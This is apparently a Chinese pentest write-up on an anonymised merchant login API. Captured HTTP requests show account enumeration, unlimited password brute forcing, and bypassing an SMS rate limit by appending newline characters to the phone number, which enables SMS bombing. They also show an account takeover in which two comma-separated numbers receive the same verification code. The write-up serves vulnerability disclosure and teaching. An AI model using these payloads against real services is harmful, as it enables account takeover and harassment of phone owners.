一个有趣的手机验证码挖掘姿势

一、背景

测试某个登录接口如下

账号密码登录：

手机验证登录：

已知账号密码登录处的账号为手机号

二、详情

1.账号密码登录

随意输入账号、密码，提示手机号未进行注册

bp抓取数据包，请求和响应如下

根据此提示，获得线索1-账号为手机号。

输入经典手机号18888888888，根据响应得到存在的账户，获得线索2-账户

```
POST /merchant/account/loginByPassword HTTP/1.1
Host: merchant.xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Clientid: web
Authorization: [object Object]
Token: [object Object]
Content-Length: 41
Origin: https://www.xxx.net
Referer: https://www.xxx.net/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close

{"mobile":"18888888888","password":"222"}

HTTP/1.1 200
Date: Tue, 28 Dec 2021 10:48:40 GMT
Content-Type: application/json
Connection: close
Set-Cookie: acw_tc=2760824d16406885206401191e2c1dd84766a8b1a792d2e2bb2ce3399d15a5;path=/;HttpOnly;Max-Age=1800
Server: Tengine/2.1.2
Vary: Accept-Encoding
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www.xxx.net
Access-Control-Allow-Methods: GET, POST, DELETE, PUT, OPTIONS
Access-Control-Allow-Headers: host,x-real-ip,x-forwarded-for,connection,content-length,user-agent,x-true-ip,web-server-type,wl-proxy-client-ip,x-forwarded-proto,x-forwarded-cluster,eagleeye-traceid,accept,accept-language,accept-encoding,content-type,clientid,authorization,token,origin,referer,sec-fetch-dest,sec-fetch-mode,sec-fetch-site,eagleeye-rpcid,x-sinfo,x5-uuid,token,clientid,clientId,Authorization,Content-Type
Content-Length: 120

{"status":999999,"code":999999,"err":"用户名或密码错误，该账号还可重试4次","data":null,"success":false}

```

经测试，无爆破次数限制。
根据线索1+线索2=攻击路径1：使用手机号字典爆破根据返回内容得到存在账户，之后设置1个账户对应5个弱密码批量爆破进入系统。

2.手机登录测试

输入手机号点击获取验证码
发送请求

```
POST /merchant/account/sendSmsCodeForLogin HTTP/1.1
Host: merchant.xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Clientid: web
Authorization: [object Object]
Token: [object Object]
Content-Length: 24
Origin: https://www.xxx.net
Referer: https://www.xxx.net/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close

{"mobile":"18888888888"}

```

得到响应

```
HTTP/1.1 200
Date: Tue, 28 Dec 2021 10:57:48 GMT
Content-Type: application/json
Connection: close
Set-Cookie: acw_tc=2760820516406890685573135e310db030eef4f8c8c2014c8eac375434e045;path=/;HttpOnly;Max-Age=1800
Server: Tengine/2.1.2
Vary: Accept-Encoding
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www.xxx.net
Access-Control-Allow-Methods: GET, POST, DELETE, PUT, OPTIONS
Access-Control-Allow-Headers: host,x-real-ip,x-forwarded-for,connection,content-length,user-agent,x-true-ip,web-server-type,wl-proxy-client-ip,x-forwarded-proto,x-forwarded-cluster,eagleeye-traceid,accept,accept-language,accept-encoding,content-type,clientid,authorization,token,origin,referer,sec-fetch-dest,sec-fetch-mode,sec-fetch-site,eagleeye-rpcid,x-sinfo,x5-uuid,token,clientid,clientId,Authorization,Content-Type
Content-Length: 59

{"status":0,"code":0,"err":null,"data":null,"success":true}

```

根据以上响应猜测验证码发送成功
再次发送请求,得到响应

```
HTTP/1.1 200
Date: Tue, 28 Dec 2021 10:57:51 GMT
Content-Type: application/json
Connection: close
Set-Cookie: acw_tc=2760820f16406890715673508e598e9180d08a0a3810cf50015a47726b17fd;path=/;HttpOnly;Max-Age=1800
Server: Tengine/2.1.2
Vary: Accept-Encoding
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www.xxx.net
Access-Control-Allow-Methods: GET, POST, DELETE, PUT, OPTIONS
Access-Control-Allow-Headers: host,x-real-ip,x-forwarded-for,connection,content-length,user-agent,x-true-ip,web-server-type,wl-proxy-client-ip,x-forwarded-proto,x-forwarded-cluster,eagleeye-traceid,accept,accept-language,accept-encoding,content-type,clientid,authorization,token,origin,referer,sec-fetch-dest,sec-fetch-mode,sec-fetch-site,eagleeye-rpcid,x-sinfo,x5-uuid,token,clientid,clientId,Authorization,Content-Type
Content-Length: 104

{"status":999999,"code":999999,"err":"每分钟只能发送一次验证码","data":null,"success":false}
```

根据响应得知存在发送限制，尝试绕过，修改请求为{"mobile":"18888888888\n"}进行重放

```
POST /merchant/account/sendSmsCodeForLogin HTTP/1.1
Host: merchant.xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Clientid: web
Authorization: [object Object]
Token: [object Object]
Content-Length: 24
Origin: https://www.xxx.net
Referer: https://www.xxx.net/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close

{"mobile":"18888888888\n"}

```

得到响应

```
HTTP/1.1 200
Date: Tue, 28 Dec 2021 10:57:48 GMT
Content-Type: application/json
Connection: close
Set-Cookie: acw_tc=2760820516406890685573135e310db030eef4f8c8c2014c8eac375434e045;path=/;HttpOnly;Max-Age=1800
Server: Tengine/2.1.2
Vary: Accept-Encoding
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://www.xxx.net
Access-Control-Allow-Methods: GET, POST, DELETE, PUT, OPTIONS
Access-Control-Allow-Headers: host,x-real-ip,x-forwarded-for,connection,content-length,user-agent,x-true-ip,web-server-type,wl-proxy-client-ip,x-forwarded-proto,x-forwarded-cluster,eagleeye-traceid,accept,accept-language,accept-encoding,content-type,clientid,authorization,token,origin,referer,sec-fetch-dest,sec-fetch-mode,sec-fetch-site,eagleeye-rpcid,x-sinfo,x5-uuid,token,clientid,clientId,Authorization,Content-Type
Content-Length: 59

{"status":0,"code":0,"err":null,"data":null,"success":true}
```

持续修改{"mobile":"18888888888\n\n"}
持续得到响应成功。
替换为真实手机号，验证存在短信炸弹。
尝试新姿势，修改请求为2个不同手机号

```
POST /merchant/account/sendSmsCodeForLogin HTTP/1.1
Host: merchant.xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Clientid: web
Authorization: [object Object]
Token: [object Object]
Content-Length: 24
Origin: https://www.xxx.net
Referer: https://www.xxx.net/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Connection: close

{"mobile":"18888888888,16666666666"}

```

得到响应成功

替换为真实手机号，得到相同验证码。

然后，只需要把手机号第一位换成存在用户，第二位换成自己的手机号，点击发送，就可以得到相同验证码，实现任意用户登录。

三、总结

漏洞1(常规)：暴力破解---爆破用户名、爆破密码

漏洞2(常规)：短信炸弹---\n\r等字符绕过

漏洞3(亮点)：任意用户登录---同时输入两个手机号获取同一验证码